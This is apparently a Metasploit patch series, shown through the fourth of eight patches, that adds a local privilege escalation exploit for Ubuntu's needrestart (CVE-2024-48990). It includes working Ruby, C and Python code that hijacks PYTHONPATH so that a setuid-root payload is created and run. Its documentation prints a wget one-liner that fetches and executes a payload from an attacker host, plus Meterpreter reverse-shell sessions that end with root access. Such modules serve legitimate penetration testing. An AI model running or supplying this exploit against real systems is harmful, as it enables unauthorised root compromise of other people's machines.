From 94e5e49052d4f0f165a3220a488ec33a53b082a2 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 22 Nov 2024 15:44:45 -0500 Subject: [PATCH 1/8] ubuntu needrestart lpe --- .../linux/local/ubuntu_needrestart_lpe.md | 120 ++++++++++++ .../linux/local/ubuntu_needrestart_lpe.rb | 184 ++++++++++++++++++ 2 files changed, 304 insertions(+) create mode 100644 documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md create mode 100644 modules/exploits/linux/local/ubuntu_needrestart_lpe.rb diff --git a/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md b/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md new file mode 100644 index 000000000000..9b104611ec74 --- /dev/null +++ b/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md @@ -0,0 +1,120 @@ +The following is the recommended format for module documentation. But feel free to add more content/sections to this. +One of the general ideas behind these documents is to help someone troubleshoot the module if it were to stop +functioning in 5+ years, so giving links or specific examples can be VERY helpful. + +## Vulnerable Application + +Instructions to get the vulnerable application. If applicable, include links to the vulnerable install +files, as well as instructions on installing/configuring the environment if it is different than a +standard install. Much of this will come from the PR, and can be copy/pasted. + +## Verification Steps +Example steps in this format (is also in the PR): + +1. Install the application +1. Start msfconsole +1. Do: `use [module path]` +1. Do: `run` +1. You should get a shell. + +## Options +List each option and how to use it. + +### Option Name + +Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here. + +## Scenarios +Specific demo of using the module that might be useful in a real world scenario. + +### Version and OS + +``` +msf6 > use exploit/multi/script/web_delivery +998 +run[*] Using configured payload python/meterpreter/reverse_tcp +msf6 exploit(multi/script/web_delivery) > set target 7 +target => 7 +msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.1 +lhost => 1.1.1.1 +msf6 exploit(multi/script/web_delivery) > set lport 4998 +lport => 4998 +msf6 exploit(multi/script/web_delivery) > set srvport 8998 +srvport => 8998 +msf6 exploit(multi/script/web_delivery) > run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +msf6 exploit(multi/script/web_delivery) > +[*] Started reverse TCP handler on 1.1.1.1:4998 +[*] Using URL: http://1.1.1.1:8998/dKtdkMS +[*] Server started. +[*] Run the following command on the target machine: +wget -qO Ejq8lHli --no-check-certificate http://1.1.1.1:8998/dKtdkMS; chmod +x Ejq8lHli; ./Ejq8lHli& disown +[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes) +[*] Sending stage (3045380 bytes) to 2.2.2.2 +[*] Meterpreter session 1 opened (1.1.1.1:4998 -> 2.2.2.2:52004) at 2024-11-22 12:07:55 -0500 + +msf6 exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: h00die +meterpreter > background +[*] Backgrounding session 1... +msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/ubuntu_needrestart_lpe + verbose true +run +[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set payload linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lhost 1.1.1.1 +lhost => 1.1.1.1 +msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lport 4977 +lport => 4977 +msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set session 1 +session => 1 +msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set verbose true +verbose => true +msf6 exploit(linux/local/ubuntu_needrestart_lpe) > run + +[*] Started reverse TCP handler on 1.1.1.1:4977 +[*] Running automatic check ("set AutoCheck false" to disable) + +[+] The target appears to be vulnerable. Vulnerable needrestart version 3.5-5ubuntu2.1 detected on Ubuntu 22.04 +[*] Writing '/tmp/.1K8Hy2tOtq' (250 bytes) ... +[*] Uploading payload: /tmp/.1K8Hy2tOtq +[*] Uploading c_stub: /tmp/.hnPKdLeU2s.c +[*] Uploading py_script: /tmp/.FzzlJ +[*] Uploading build and run script: /tmp/.h0IkpDa +[*] Launching exploit, and waiting for needrestart to run... +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 2.2.2.2 +[*] chown: changing ownership of '/tmp/.1K8Hy2tOtq': Operation not permitted +[*] Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth: +[*] +[*] Traceback (most recent call last): +[*] File "/usr/lib/python3.10/site.py", line 192, in addpackage +[*] exec(line) +[*] File "", line 1, in +[*] ImportError: dynamic module does not define module export function (PyInit_importlib) +[*] +[*] Remainder of file ignored +[*] ######################### +[*] +[*] Dont mind the error message above +[*] +[*] Waiting for needrestart to run... +[*] Payload owned by: root +[+] Deleted /tmp/.1K8Hy2tOtq +[+] Deleted /tmp/.hnPKdLeU2s.c +[+] Deleted /tmp/.FzzlJ +[+] Deleted /tmp/.h0IkpDa +[+] Deleted /tmp/importlib +[*] Meterpreter session 2 opened (1.1.1.1:4977 -> 2.2.2.2:57644) at 2024-11-22 12:08:28 -0500 + +meterpreter > +meterpreter > getuid +Server username: root +``` diff --git a/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb b/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb new file mode 100644 index 000000000000..141fdc8af3f0 --- /dev/null +++ b/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb @@ -0,0 +1,184 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = GreatRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html + + # includes: is_root? + include Msf::Post::Linux::Priv + # includes: has_gcc? + include Msf::Post::Linux::System + # includes: kernel_release + include Msf::Post::Linux::Kernel + # includes writable?, upload_file, upload_and_chmodx, exploit_data + include Msf::Post::File + # includes generate_payload_exe + include Msf::Exploit::EXE + # includes register_files_for_cleanup + include Msf::Exploit::FileDropper + # includes: COMPILE option, live_compile?, upload_and_compile + # strip_comments + include Msf::Post::Linux::Compile + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Ubuntu needrestart Privilege Escalation', + 'Description' => %q{ + local attackers can execute arbitrary code as root by + tricking needrestart into running the Python interpreter with an + attacker-controlled PYTHONPATH environment variable. + + Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1 + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'makuga01', # PoC + 'qualys' # original advisory + ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'Stance' => Msf::Exploit::Stance::Passive, + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => [ + [ 'URL', 'https://github.com/makuga01/CVE-2024-48990-PoC'], + [ 'URL', 'https://www.qualys.com/2024/11/19/needrestart/needrestart.txt'], + [ 'CVE', '2024-48990'] + ], + 'DisclosureDate' => '2024-11-19', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, ] + } + ) + ) + register_advanced_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ] + end + + def base_dir + datastore['WritableDir'].to_s + end + + def check + fixed_versions = { + '24.10' => Gem::Version.new('3.6-8ubuntu4.2'), + '24.04' => Gem::Version.new('3.6-7ubuntu4.3'), + '22.04' => Gem::Version.new('3.5-5ubuntu2.2'), + '20.04' => Gem::Version.new('3.4-6ubuntu0.1.esm1'), + '18.04' => Gem::Version.new('3.1-1ubuntu0.1.esm1'), + '16.04' => Gem::Version.new('2.6-1ubuntu0.1.esm1') + } + if file? '/etc/issue' + version = cmd_exec('cat /etc/issue | cut -d " " -f 2').strip + version = version.slice(0, 5) # take off any extra version info + return CheckCode::Safe("Ubuntu version #{version} is not vulnerable") unless fixed_versions.key? version + package = cmd_exec('dpkg -l needrestart | grep \'^ii\'') + package = package.split(' ')[2] + package = package.gsub('+', '.') + if package && Gem::Version.new(package) < fixed_versions[version] + return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu #{version}") + else + return CheckCode::Safe("needrestart is not vulnerable on Ubuntu #{version}") + end + end + + CheckCode::Safe("app #{package} is not vulnerable") + end + + # + # The exploit method drops a payload file to the system, then either compiles and runs + # or just runs the exploit on the system. + # + def exploit + # Check if we're already root + if !datastore['ForceExploit'] && is_root? + fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' + end + + # Make sure we can write our exploit and payload to the local system + unless writable? base_dir + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" + upload_and_chmodx payload_path, generate_payload_exe + vprint_status("Uploading payload: #{payload_path}") + register_files_for_cleanup(payload_path) + + c_stub = %|#include +#include +#include +#include + +static void a() __attribute__((constructor)); + +void a() { + setuid(0); + setgid(0); + const char *shell = "chown root:root #{payload_path}; chmod a+x #{payload_path}; chmod u+s #{payload_path} &"; + system(shell); +}| + + c_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}.c" + write_file c_stub_path, c_stub + vprint_status("Uploading c_stub: #{c_stub_path}") + register_files_for_cleanup(c_stub_path) + + py_script = %|import os +import time +import pwd + +print("#########################\\n\\nDont mind the error message above\\n\\nWaiting for needrestart to run...") + +while True: + file_stat = os.stat('#{payload_path}') + username = pwd.getpwuid(file_stat.st_uid).pw_name + if (username == 'root'): + print("Payload owned by: " + username) + os.system('#{payload_path} &') + break + time.sleep(1)| + + py_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" + write_file py_stub_path, py_script + vprint_status("Uploading py_script: #{py_stub_path}") + register_files_for_cleanup(py_stub_path) + + build_run_script = %|#!/bin/bash + +set -e +mkdir -p "#{base_dir}/importlib" + +# Compile lib.c into the prepared PYTHONPATH +gcc -shared -fPIC -o "#{base_dir}/importlib/__init__.so" #{c_stub_path} + +# Set the malicious PYTHONPATH and run a py script that waits for the shell +PYTHONPATH="#{base_dir}" python3 #{py_stub_path}| + + build_run_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" + write_file build_run_path, build_run_script + cmd_exec "chmod +x #{build_run_path}" + vprint_status("Uploading build and run script: #{build_run_path}") + register_files_for_cleanup(build_run_path) + + register_dir_for_cleanup("#{base_dir}/importlib") + + # Launch exploit with a timeout. We also have a vprint_status so if the user wants all the + # output from the exploit being run, they can optionally see it + timeout = 86_400 # 24 hours + print_status 'Launching exploit, and waiting for needrestart to run...' + output = cmd_exec build_run_path, nil, timeout + output.each_line { |line| vprint_status line.chomp } + end +end From 7025871d349acea52ad8dfd665280ef2c55a19a2 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 22 Nov 2024 15:44:52 -0500 Subject: [PATCH 2/8] ubuntu needrestart lpe --- .../linux/local/ubuntu_needrestart_lpe.rb | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb b/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb index 141fdc8af3f0..c85603d6b087 100644 --- a/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb +++ b/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb @@ -72,21 +72,22 @@ def base_dir def check fixed_versions = { - '24.10' => Gem::Version.new('3.6-8ubuntu4.2'), - '24.04' => Gem::Version.new('3.6-7ubuntu4.3'), - '22.04' => Gem::Version.new('3.5-5ubuntu2.2'), - '20.04' => Gem::Version.new('3.4-6ubuntu0.1.esm1'), - '18.04' => Gem::Version.new('3.1-1ubuntu0.1.esm1'), - '16.04' => Gem::Version.new('2.6-1ubuntu0.1.esm1') + '24.10' => Rex::Version.new('3.6-8ubuntu4.2'), + '24.04' => Rex::Version.new('3.6-7ubuntu4.3'), + '22.04' => Rex::Version.new('3.5-5ubuntu2.2'), + '20.04' => Rex::Version.new('3.4-6ubuntu0.1.esm1'), + '18.04' => Rex::Version.new('3.1-1ubuntu0.1.esm1'), + '16.04' => Rex::Version.new('2.6-1ubuntu0.1.esm1') } if file? '/etc/issue' version = cmd_exec('cat /etc/issue | cut -d " " -f 2').strip version = version.slice(0, 5) # take off any extra version info return CheckCode::Safe("Ubuntu version #{version} is not vulnerable") unless fixed_versions.key? version + package = cmd_exec('dpkg -l needrestart | grep \'^ii\'') package = package.split(' ')[2] package = package.gsub('+', '.') - if package && Gem::Version.new(package) < fixed_versions[version] + if package && Rex::Version.new(package) < fixed_versions[version] return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu #{version}") else return CheckCode::Safe("needrestart is not vulnerable on Ubuntu #{version}") @@ -155,7 +156,7 @@ def exploit vprint_status("Uploading py_script: #{py_stub_path}") register_files_for_cleanup(py_stub_path) - build_run_script = %|#!/bin/bash + build_run_script = %(#!/bin/bash set -e mkdir -p "#{base_dir}/importlib" @@ -164,7 +165,7 @@ def exploit gcc -shared -fPIC -o "#{base_dir}/importlib/__init__.so" #{c_stub_path} # Set the malicious PYTHONPATH and run a py script that waits for the shell -PYTHONPATH="#{base_dir}" python3 #{py_stub_path}| +PYTHONPATH="#{base_dir}" python3 #{py_stub_path}) build_run_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" write_file build_run_path, build_run_script From 7fd82b89dffbb41af25b346628bd2d5bdcf45e52 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 22 Nov 2024 15:57:18 -0500 Subject: [PATCH 3/8] offload files to data --- data/exploits/CVE-2024-48990/build_and_run.sh | 10 ++++ data/exploits/CVE-2024-48990/lib.c | 13 ++++ data/exploits/CVE-2024-48990/sleeper.py | 14 +++++ .../linux/local/ubuntu_needrestart_lpe.md | 47 ++++++++------- .../linux/local/ubuntu_needrestart_lpe.rb | 60 ++++++------------- 5 files changed, 80 insertions(+), 64 deletions(-) create mode 100644 data/exploits/CVE-2024-48990/build_and_run.sh create mode 100644 data/exploits/CVE-2024-48990/lib.c create mode 100644 data/exploits/CVE-2024-48990/sleeper.py diff --git a/data/exploits/CVE-2024-48990/build_and_run.sh b/data/exploits/CVE-2024-48990/build_and_run.sh new file mode 100644 index 000000000000..4542d84468f1 --- /dev/null +++ b/data/exploits/CVE-2024-48990/build_and_run.sh @@ -0,0 +1,10 @@ +#!/bin/bash + +set -e +mkdir -p "BASE_DIR/importlib" + +# Compile lib.c into the prepared PYTHONPATH +gcc -shared -fPIC -o "BASE_DIR/importlib/__init__.so" C_STUB_PATH + +# Set the malicious PYTHONPATH and run a py script that waits for the shell +PYTHONPATH="BASE_DIR" python3 PY_STUB_PATH \ No newline at end of file diff --git a/data/exploits/CVE-2024-48990/lib.c b/data/exploits/CVE-2024-48990/lib.c new file mode 100644 index 000000000000..5fc4c281090e --- /dev/null +++ b/data/exploits/CVE-2024-48990/lib.c @@ -0,0 +1,13 @@ +#include +#include +#include +#include + +static void a() __attribute__((constructor)); + +void a() { + setuid(0); + setgid(0); + const char *shell = "chown root:root PAYLOAD_PATH; chmod a+x PAYLOAD_PATH; chmod u+s PAYLOAD_PATH &"; + system(shell); +} \ No newline at end of file diff --git a/data/exploits/CVE-2024-48990/sleeper.py b/data/exploits/CVE-2024-48990/sleeper.py new file mode 100644 index 000000000000..a380ea0f0273 --- /dev/null +++ b/data/exploits/CVE-2024-48990/sleeper.py @@ -0,0 +1,14 @@ +import os +import time +import pwd + +print("#########################\n\nDont mind the error message above\\n\\nWaiting for needrestart to run...") + +while True: + file_stat = os.stat('PAYLOAD_PATH') + username = pwd.getpwuid(file_stat.st_uid).pw_name + if (username == 'root'): + print("Payload owned by: " + username) + os.system('PAYLOAD_PATH &') + break + time.sleep(1) \ No newline at end of file diff --git a/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md b/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md index 9b104611ec74..d6441e053246 100644 --- a/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md +++ b/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md @@ -1,33 +1,30 @@ -The following is the recommended format for module documentation. But feel free to add more content/sections to this. -One of the general ideas behind these documents is to help someone troubleshoot the module if it were to stop -functioning in 5+ years, so giving links or specific examples can be VERY helpful. - ## Vulnerable Application -Instructions to get the vulnerable application. If applicable, include links to the vulnerable install -files, as well as instructions on installing/configuring the environment if it is different than a -standard install. Much of this will come from the PR, and can be copy/pasted. +Local attackers can execute arbitrary code as root by +tricking needrestart into running the Python interpreter with an +attacker-controlled PYTHONPATH environment variable. + +Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1 ## Verification Steps -Example steps in this format (is also in the PR): 1. Install the application -1. Start msfconsole -1. Do: `use [module path]` -1. Do: `run` -1. You should get a shell. +2. Start msfconsole +3. Get an initial shell +4. Do: `use exploit/linux/local/ubuntu_needrestart_lpe` +5. Do: `set lhost ` +6. Do: `set lport ` +7. Do: `set session ` +8. Do: `run` +9. You should get a root shell. ## Options -List each option and how to use it. - -### Option Name - -Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here. ## Scenarios -Specific demo of using the module that might be useful in a real world scenario. -### Version and OS +### Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1 + +Gain initial shell ``` msf6 > use exploit/multi/script/web_delivery @@ -63,9 +60,12 @@ meterpreter > getuid Server username: h00die meterpreter > background [*] Backgrounding session 1... +``` + +Priv Esc + +``` msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/ubuntu_needrestart_lpe - verbose true -run [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp @@ -89,6 +89,11 @@ msf6 exploit(linux/local/ubuntu_needrestart_lpe) > run [*] Uploading py_script: /tmp/.FzzlJ [*] Uploading build and run script: /tmp/.h0IkpDa [*] Launching exploit, and waiting for needrestart to run... +``` + +On the remote Ubuntu box run `sudo needrestart` + +``` [*] Transmitting intermediate stager...(126 bytes) [*] Sending stage (3045380 bytes) to 2.2.2.2 [*] chown: changing ownership of '/tmp/.1K8Hy2tOtq': Operation not permitted diff --git a/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb b/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb index c85603d6b087..a3eaf3ccabb0 100644 --- a/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb +++ b/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb @@ -29,7 +29,7 @@ def initialize(info = {}) info, 'Name' => 'Ubuntu needrestart Privilege Escalation', 'Description' => %q{ - local attackers can execute arbitrary code as root by + Local attackers can execute arbitrary code as root by tricking needrestart into running the Python interpreter with an attacker-controlled PYTHONPATH environment variable. @@ -57,7 +57,7 @@ def initialize(info = {}) 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [ARTIFACTS_ON_DISK, ] + 'SideEffects' => [ARTIFACTS_ON_DISK] } ) ) @@ -97,10 +97,6 @@ def check CheckCode::Safe("app #{package} is not vulnerable") end - # - # The exploit method drops a payload file to the system, then either compiles and runs - # or just runs the exploit on the system. - # def exploit # Check if we're already root if !datastore['ForceExploit'] && is_root? @@ -112,60 +108,38 @@ def exploit fail_with Failure::BadConfig, "#{base_dir} is not writable" end + # upload payload payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" upload_and_chmodx payload_path, generate_payload_exe vprint_status("Uploading payload: #{payload_path}") register_files_for_cleanup(payload_path) - c_stub = %|#include -#include -#include -#include - -static void a() __attribute__((constructor)); - -void a() { - setuid(0); - setgid(0); - const char *shell = "chown root:root #{payload_path}; chmod a+x #{payload_path}; chmod u+s #{payload_path} &"; - system(shell); -}| + # our c stub file does our chmod/chown/suid for the payload + c_stub = strip_comments(exploit_data('CVE-2024-48990', 'lib.c')) + c_stub = c_stub.gsub('PAYLOAD_PATH', payload_path) c_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}.c" write_file c_stub_path, c_stub + # upload_and_compile lib_path, lib, "-shared -fPIC -o \"#{base_dir}/importlib/__init__.so\"" vprint_status("Uploading c_stub: #{c_stub_path}") register_files_for_cleanup(c_stub_path) - py_script = %|import os -import time -import pwd - -print("#########################\\n\\nDont mind the error message above\\n\\nWaiting for needrestart to run...") - -while True: - file_stat = os.stat('#{payload_path}') - username = pwd.getpwuid(file_stat.st_uid).pw_name - if (username == 'root'): - print("Payload owned by: " + username) - os.system('#{payload_path} &') - break - time.sleep(1)| + # the python script is needed for having the PYTHONPATH set and watches + # for our payload to be modified, then run it + py_script = strip_comments(exploit_data('CVE-2024-48990', 'sleeper.py')) + py_script = py_script.gsub('PAYLOAD_PATH', payload_path) py_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" write_file py_stub_path, py_script vprint_status("Uploading py_script: #{py_stub_path}") register_files_for_cleanup(py_stub_path) - build_run_script = %(#!/bin/bash - -set -e -mkdir -p "#{base_dir}/importlib" - -# Compile lib.c into the prepared PYTHONPATH -gcc -shared -fPIC -o "#{base_dir}/importlib/__init__.so" #{c_stub_path} - -# Set the malicious PYTHONPATH and run a py script that waits for the shell -PYTHONPATH="#{base_dir}" python3 #{py_stub_path}) + # The build and run script builds our c stub into the python library SO + # then runs our python sleeper script + build_run_script = strip_comments(exploit_data('CVE-2024-48990', 'build_and_run.sh')) + build_run_script = build_run_script.gsub('BASE_DIR', base_dir) + build_run_script = build_run_script.gsub('C_STUB_PATH', c_stub_path) + build_run_script = build_run_script.gsub('PY_STUB_PATH', py_stub_path) build_run_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" write_file build_run_path, build_run_script From d4bd00d48ecc57dd830d0d8950a50e586b0988b1 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 25 Nov 2024 16:38:18 -0500 Subject: [PATCH 4/8] needrestart improvements --- data/exploits/CVE-2024-48990/build_and_run.sh | 10 --- data/exploits/CVE-2024-48990/lib.c | 13 --- data/exploits/CVE-2024-48990/lib.metasm | 27 ++++++ data/exploits/CVE-2024-48990/sleeper.py | 2 +- .../linux/local/ubuntu_needrestart_lpe.md | 7 +- .../linux/local/ubuntu_needrestart_lpe.rb | 90 +++++++++---------- 6 files changed, 75 insertions(+), 74 deletions(-) delete mode 100644 data/exploits/CVE-2024-48990/build_and_run.sh delete mode 100644 data/exploits/CVE-2024-48990/lib.c create mode 100644 data/exploits/CVE-2024-48990/lib.metasm diff --git a/data/exploits/CVE-2024-48990/build_and_run.sh b/data/exploits/CVE-2024-48990/build_and_run.sh deleted file mode 100644 index 4542d84468f1..000000000000 --- a/data/exploits/CVE-2024-48990/build_and_run.sh +++ /dev/null @@ -1,10 +0,0 @@ -#!/bin/bash - -set -e -mkdir -p "BASE_DIR/importlib" - -# Compile lib.c into the prepared PYTHONPATH -gcc -shared -fPIC -o "BASE_DIR/importlib/__init__.so" C_STUB_PATH - -# Set the malicious PYTHONPATH and run a py script that waits for the shell -PYTHONPATH="BASE_DIR" python3 PY_STUB_PATH \ No newline at end of file diff --git a/data/exploits/CVE-2024-48990/lib.c b/data/exploits/CVE-2024-48990/lib.c deleted file mode 100644 index 5fc4c281090e..000000000000 --- a/data/exploits/CVE-2024-48990/lib.c +++ /dev/null @@ -1,13 +0,0 @@ -#include -#include -#include -#include - -static void a() __attribute__((constructor)); - -void a() { - setuid(0); - setgid(0); - const char *shell = "chown root:root PAYLOAD_PATH; chmod a+x PAYLOAD_PATH; chmod u+s PAYLOAD_PATH &"; - system(shell); -} \ No newline at end of file diff --git a/data/exploits/CVE-2024-48990/lib.metasm b/data/exploits/CVE-2024-48990/lib.metasm new file mode 100644 index 000000000000..e16f2b70a083 --- /dev/null +++ b/data/exploits/CVE-2024-48990/lib.metasm @@ -0,0 +1,27 @@ +/* +// system call +#include +// setuid, setgid +#include + +static void a() __attribute__((constructor)); + +void a() { + setuid(0); + setgid(0); + const char *shell = "chown root:root PAYLOAD_PATH; chmod a+x PAYLOAD_PATH; chmod u+s PAYLOAD_PATH &"; + system(shell); +} +*/ + +extern int setuid(int); +extern int setgid(int); +extern int system(const char *__s); + +void a(void) __attribute__((constructor)); + +void __attribute__((constructor)) a() { + setuid(0); + setgid(0); + system("chown root:root 'PAYLOAD_PATH'; chmod a+x 'PAYLOAD_PATH'; chmod u+s 'PAYLOAD_PATH' &"); +} \ No newline at end of file diff --git a/data/exploits/CVE-2024-48990/sleeper.py b/data/exploits/CVE-2024-48990/sleeper.py index a380ea0f0273..a9bb02cafed1 100644 --- a/data/exploits/CVE-2024-48990/sleeper.py +++ b/data/exploits/CVE-2024-48990/sleeper.py @@ -2,7 +2,7 @@ import time import pwd -print("#########################\n\nDont mind the error message above\\n\\nWaiting for needrestart to run...") +print("#########################\n\nDont mind the error message above\n\nWaiting for needrestart to run...") while True: file_stat = os.stat('PAYLOAD_PATH') diff --git a/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md b/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md index d6441e053246..d0ef407ea836 100644 --- a/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md +++ b/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md @@ -85,9 +85,10 @@ msf6 exploit(linux/local/ubuntu_needrestart_lpe) > run [+] The target appears to be vulnerable. Vulnerable needrestart version 3.5-5ubuntu2.1 detected on Ubuntu 22.04 [*] Writing '/tmp/.1K8Hy2tOtq' (250 bytes) ... [*] Uploading payload: /tmp/.1K8Hy2tOtq -[*] Uploading c_stub: /tmp/.hnPKdLeU2s.c +[*] Creating directory /tmp/importlib +[*] /tmp/importlib created +[*] Uploading c_stub: /tmp/importlib/__init__.so [*] Uploading py_script: /tmp/.FzzlJ -[*] Uploading build and run script: /tmp/.h0IkpDa [*] Launching exploit, and waiting for needrestart to run... ``` @@ -113,9 +114,7 @@ On the remote Ubuntu box run `sudo needrestart` [*] Waiting for needrestart to run... [*] Payload owned by: root [+] Deleted /tmp/.1K8Hy2tOtq -[+] Deleted /tmp/.hnPKdLeU2s.c [+] Deleted /tmp/.FzzlJ -[+] Deleted /tmp/.h0IkpDa [+] Deleted /tmp/importlib [*] Meterpreter session 2 opened (1.1.1.1:4977 -> 2.2.2.2:57644) at 2024-11-22 12:08:28 -0500 diff --git a/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb b/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb index a3eaf3ccabb0..663cf777278f 100644 --- a/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb +++ b/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb @@ -4,22 +4,14 @@ ## class MetasploitModule < Msf::Exploit::Local - Rank = GreatRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html + Rank = GreatRanking - # includes: is_root? include Msf::Post::Linux::Priv - # includes: has_gcc? include Msf::Post::Linux::System - # includes: kernel_release - include Msf::Post::Linux::Kernel - # includes writable?, upload_file, upload_and_chmodx, exploit_data include Msf::Post::File - # includes generate_payload_exe include Msf::Exploit::EXE - # includes register_files_for_cleanup + include Msf::Post::Linux::Kernel include Msf::Exploit::FileDropper - # includes: COMPILE option, live_compile?, upload_and_compile - # strip_comments include Msf::Post::Linux::Compile prepend Msf::Exploit::Remote::AutoCheck @@ -43,7 +35,7 @@ def initialize(info = {}) ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], - 'Stance' => Msf::Exploit::Stance::Passive, + 'Stance' => Msf::Exploit::Stance::Passive, # seems to not work... 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, @@ -71,6 +63,8 @@ def base_dir end def check + # fedora https://bodhi.fedoraproject.org/updates/FEDORA-2024-a9cf3dad4f + # debian https://security-tracker.debian.org/tracker/CVE-2024-48990 fixed_versions = { '24.10' => Rex::Version.new('3.6-8ubuntu4.2'), '24.04' => Rex::Version.new('3.6-7ubuntu4.3'), @@ -79,22 +73,22 @@ def check '18.04' => Rex::Version.new('3.1-1ubuntu0.1.esm1'), '16.04' => Rex::Version.new('2.6-1ubuntu0.1.esm1') } - if file? '/etc/issue' - version = cmd_exec('cat /etc/issue | cut -d " " -f 2').strip - version = version.slice(0, 5) # take off any extra version info - return CheckCode::Safe("Ubuntu version #{version} is not vulnerable") unless fixed_versions.key? version - - package = cmd_exec('dpkg -l needrestart | grep \'^ii\'') - package = package.split(' ')[2] - package = package.gsub('+', '.') - if package && Rex::Version.new(package) < fixed_versions[version] - return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu #{version}") - else - return CheckCode::Safe("needrestart is not vulnerable on Ubuntu #{version}") - end - end + info = get_sysinfo + return CheckCode::Safe('Only Ubuntu is exploitable') unless info[:distro] == 'ubuntu' + + version = info[:version].split(' ')[1].slice(0, 5) # take off any extra version info + return CheckCode::Safe("Ubuntu version #{version} is not vulnerable") unless fixed_versions.key? version - CheckCode::Safe("app #{package} is not vulnerable") + return CheckCode::Safe('needrestart binary not found') unless command_exists?('needrestart') + + package = cmd_exec('dpkg -l needrestart | grep \'^ii\'') + package = package.split(' ')[2] + package = package.gsub('+', '.') + package = Rex::Version.new(package) + return CheckCode::Safe('needrestart not install, or not detected.') if package.nil? + return CheckCode::Appears("Vulnerable needrestart version 